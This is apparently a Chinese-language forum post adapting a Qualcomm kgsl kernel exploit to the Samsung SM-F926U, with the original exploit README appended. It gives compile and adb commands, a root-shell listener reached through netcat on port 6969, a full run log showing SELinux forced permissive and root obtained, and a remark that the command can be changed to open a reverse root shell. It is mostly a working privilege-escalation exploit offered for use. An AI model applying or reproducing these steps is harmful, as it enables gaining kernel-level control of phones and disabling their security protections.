这是我从原漏洞利用(此处)为 SM-F926U 进行的适配。
特别感谢 m-y-mo 发现该漏洞,并在我将其移植到 SM-F926U 并使其可用期间,以极大的耐心回答我所有的问题。
我已添加一个基于 Shizuku 代码的启动守护进程 (libtimeline.so)。
添加了一个技巧,使临时 root 解决方案能够 稳定 工作(见下文)。
免责声明:我对设备损坏、数据丢失、数据被盗、设备安全性概不负责。
免责声明 2:我不是开发者,更像是一个专业修补者。如果你遇到问题,我可能会尽力帮忙,也可能永远不会再看这个帖子,请自行承担风险。
要求:
步骤:
/data/local/tmp/timeline,这样可以查看漏洞利用是否正在运行或挂起(见下方注意事项)。/data/local/tmp/libtimeline.so。netcat 127.0.0.1 6969 连接一个 root shell。id 命令,它将显示你的 root 凭据。echo 'YOUR COMMAND' | netcat 127.0.0.1 6969更多注意事项:
top 中看到 timeline 进程占用约 100% CPU。我不确定这是否正常。它实际上只是处于 while(1) 状态以防止进程关闭导致设备崩溃,所以我还没有找到高 CPU 占用的原因,或者这是误报。分析文章可以在此处找到。这是我于 2021 年 11 月报告的 Qualcomm kgsl 驱动中的一个漏洞。该漏洞可被用于从不受信任的应用域获得任意内核内存读写能力,进而用于禁用 SELinux 并获得 root 权限。
该漏洞利用已在 Samsung Galaxy Z Flip 3(欧洲版本 SM-F711B)上测试,固件版本为 F711BXXS2BUL6,基带版本为 F711BXXU2BUL4,内核版本为 5.4.86-qgki-23063627-abF711BXXS2BUL6(EUX 区域)。漏洞利用中的偏移量指向该固件版本。除了内核镜像中的常用偏移量外,ion_utils.c 中 ion 内存池的各种地址也是固件相关的。作为参考,我使用以下命令通过 ndk-21 中的 clang 进行编译:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O2 timeline_wait.c sendmsg_spray.c signalfd_spray.c cpu_utils.c ion_utils.c fake_obj_util.c work_queue_utils.c -o timeline
该漏洞利用的可靠性不错(在测试设备上约 70%),不过需要在启动后等待几分钟再运行,因为启动后的最初几分钟内会有大量损坏/失败的 binder 调用(不确定是 Qualcomm 还是 Samsung 的问题)。
要测试,请交叉编译文件,然后通过 adb 执行:
adb push timeline /data/local/tmp
adb shell
b2q:/ $ /data/local/tmp/timeline
如果成功,它将禁用 SELinux,以 root 身份运行 id 命令,并将结果写入 /data/local/tmp/id.txt 文件中:
b2q:/ $ /data/local/tmp/timeline
heap_id_mask 40
ion region 0x75a0ccf000
region start addr: ffffff8071800000
fence kernel addr: ffffff8071fe0040 192
created fake slab at ffffff8071840100
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 40 reallocation threads ready!
timeline_wait start
readpipe start
destroy start
readpipe
Caught signal: 10
wait complete -1
readpipe finished
destroy finished
cb_list ffffffc02d943bf8 temp ffffffc02d943c48
mask 52424242 60
cpu_id 0
interval number 1
mask 7f8e7bfeff 7
thread number 0 7 20014
thread batch number 0
new mask 7f8e7bfeff ffffff8071840100
region_offset 40100
sprayed 1024 ion buffer
start searching for buffer
Found 7 ion regions
heap_ops ffffffc012e17180, kernel base: a00b8000
set enforcing to permissive
[+] successfully overwritten selinux_enforcing
wq_ptr_addr: ffffffc012dc2518
wq_addr: ffffff81f4cf1200
pwq_addr ffffff81e24ea100
pool_addr ffffff805ff7c000
worklist ffffff805ff7c020 ffffff805ff7c020
queue work
max_active 256 nr_active 0
queuing work, waiting to aquire spin lock
work_queued
work processed
complete 0
ret 0
nr_active 0
worklist ffffff805ff7c020
work next ffffff8071842c08
[+] successfully run command and added id.txt in /data/local/tmp
finished queue work
freeing ion dma fd
finished freeing ion dma fd
finished spraying
finished
在打印 wait complete -1 之后会有较长的停顿,通常不超过一分钟,这是正常现象。有时在排队工作(打印 queuing work, waiting to aquire spin lock 后)也可能需要一段时间(可能几分钟),只需耐心等待,不过这种情况不常见。漏洞利用通常会在几分钟内完成。
文件 /data/local/tmp/id.txt 应该能确认命令是以 root 身份运行的:
b2q:/ $ cat /data/local/tmp/id.txt
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
可以通过修改 work_queue_utils.c 中 setup_sub_info 里的变量 cmd 来运行不同的命令(例如,弹出一个反向 root shell)。